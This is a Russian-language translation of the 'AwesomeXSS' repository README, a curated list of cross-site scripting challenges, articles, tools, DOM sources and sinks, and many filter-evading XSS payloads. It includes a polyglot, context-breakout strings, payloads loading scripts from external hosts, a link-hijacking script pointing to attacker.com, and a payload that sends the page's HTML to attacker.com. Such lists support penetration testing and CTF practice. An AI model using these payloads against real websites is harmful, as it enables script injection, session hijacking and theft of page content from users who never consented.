AwesomeXSS

Этот репозиторий — коллекция ресурсов Awesome XSS. Вклад приветствуется; предложения отправляйте через issue.

Содержание

• Челленджи
• Статьи и презентации
• Инструменты
• Интеллект-карты
• DOM XSS
• Пейлоады
• Полиглоты
• Теги и обработчики событий
• Выход из контекста
  • HTML-контекст
  • Контекст атрибута
  • JavaScript-контекст
• Варианты confirm
• Эксплойты
• Методы зондирования
• Обходы
• Кодирование
• Советы и хитрости

Лучшие челленджи

• prompt.ml
• alf.nu/alert1
• xss-game.appspot.com
• polyglot.innerht.ml
• sudo.co.il/xss
• root-me.org
• chefsecure.com
• wechall.net
• codelatte.id/labs/xss

Лучшие статьи и презентации

• Обход механизмов обнаружения XSS
• XSS в Facebook через PNG Content-Type
• Как я встретил твою девушку
• Как найти 1 352 XSS-уязвимости в плагинах WordPress за один час
• Blind XSS
• Copy Pest

Лучшие инструменты

• XSStrike
• BeEF
• JShell

Лучшие интеллект-карты XSS

Красивая интеллект-карта по XSS от Jack Masa — здесь

Лучшие материалы по DOM XSS

• Ваш ввод попадает в приёмник? Vulnerable
• Нет? Not vulnerable

Источник: ввод, который может контролироваться внешним (недоверенным) источником.

document.URL
document.documentURI
document.URLUnencoded (IE 5.5 or later Only)
document.baseURI
location
location.href
location.search
location.hash
location.pathname
document.cookie
document.referrer
window.name
history.pushState()
history.replaceState()
localStorage
sessionStorage

Приёмник: потенциально опасный метод, который может привести к уязвимости. В данном случае — к DOM-based XSS.

eval
Function
setTimeout
setInterval
setImmediate
execScript
crypto.generateCRMFRequest
ScriptElement.src
ScriptElement.text
ScriptElement.textContent
ScriptElement.innerText
anyTag.onEventName
document.write
document.writeln
anyElement.innerHTML
Range.createContextualFragment
window.location
document.location

Этот полный список приёмников и источников взят из domxsswiki.

Лучшие пейлоады

<A/hREf="j%0aavas%09cript%0a:%09con%0afirm%0d``">z
<d3"<"/onclick="1>[confirm``]"<">z
<d3/onmouseenter=[2].find(confirm)>z
<details open ontoggle=confirm()>
<script y="><">/*<script* */prompt()</script
<w="/x="y>"/ondblclick=`<`[confir\u006d``]>z
<a href="https://github.com/s0md3v/awesomexss/blob/master/javascript%26colon%3Balert%281%29">click
<a href=javas&#99;ript:alert(1)>click
<script/"<a"/src=data:=".<a,[8].some(confirm)>
<svg/x=">"/onload=confirm()//
<--` --!>
<svg%0Aonload=%09((pro\u006dpt))()//
<sCript x>(((confirm)))``</scRipt x>
<svg </onload ="1> (_=prompt,_(1)) "">
<!--><script src=//14.rs>
<embed src=//14.rs>
<script x=">" src=//15.rs></script>
<!'/*"/*/'/*/"/*--></Script><Image SrcSet=K */; OnError=confirm`1` //>
x
<svg onload=write()>

Лучшие полиглоты

Вот XSS-полиглот, который я сделал; он позволяет выйти за пределы 20+ контекстов:

%0ajavascript:`/*\"/*-->&lt;svg onload='/*</template></noembed></noscript></style></title></textarea></script><html onmouseover="/**/ alert()//'">`

Объяснение принципа работы — здесь

Лучшие теги и обработчики событий

• 105 обработчиков событий с описанием
• 200 обработчиков событий без описания

Некоторые обработчики событий, которые реже детектируются

ontoggle
onauxclick
ondblclick
oncontextmenu
onmouseleave
ontouchcancel

Некоторые HTML-теги, которые вам пригодятся

img
svg
body
html
embed
script
object
details
isindex
iframe
audio
video

Лучшие способы выхода из контекста

HTML-контекст

Пример: <tag>You searched for $input. </tag>

<svg onload=alert()>
</tag><svg onload=alert()>

Контекст атрибута

Пример: <tag attribute="$input">

"><svg onload=alert()>
"><svg onload=alert()><b attr="
" onmouseover=alert() "
"onmouseover=alert()//
"autofocus/onfocus="alert()

JavaScript-контекст

Пример: <script> var new something = '$input'; </script>

'-alert()-'
'-alert()//'
'}alert(1);{'
'}%0Aalert(1);%0A{'
</script><svg onload=alert()>

Лучшие варианты confirm

Ага, confirm, потому что alert слишком избит.

confirm()
confirm``
(confirm``)
{confirm``}
[confirm``]
(((confirm)))``
co\u006efirm()
new class extends confirm``{}
[8].find(confirm)
[8].map(confirm)
[8].some(confirm)
[8].every(confirm)
[8].filter(confirm)
[8].findIndex(confirm)

Лучшие эксплойты

Замена всех ссылок

Array.from(document.getElementsByTagName("a")).forEach(function(i) {
  i.href = "https://attacker.com";
});

Похититель исходного кода

<svg/onload="(new Image()).src='//attacker.com/'%2Bdocument.documentElement.innerHTML">

Лучшие методы зондирования

Если ничего из этого не сработало, загляните в раздел Лучшие обходы.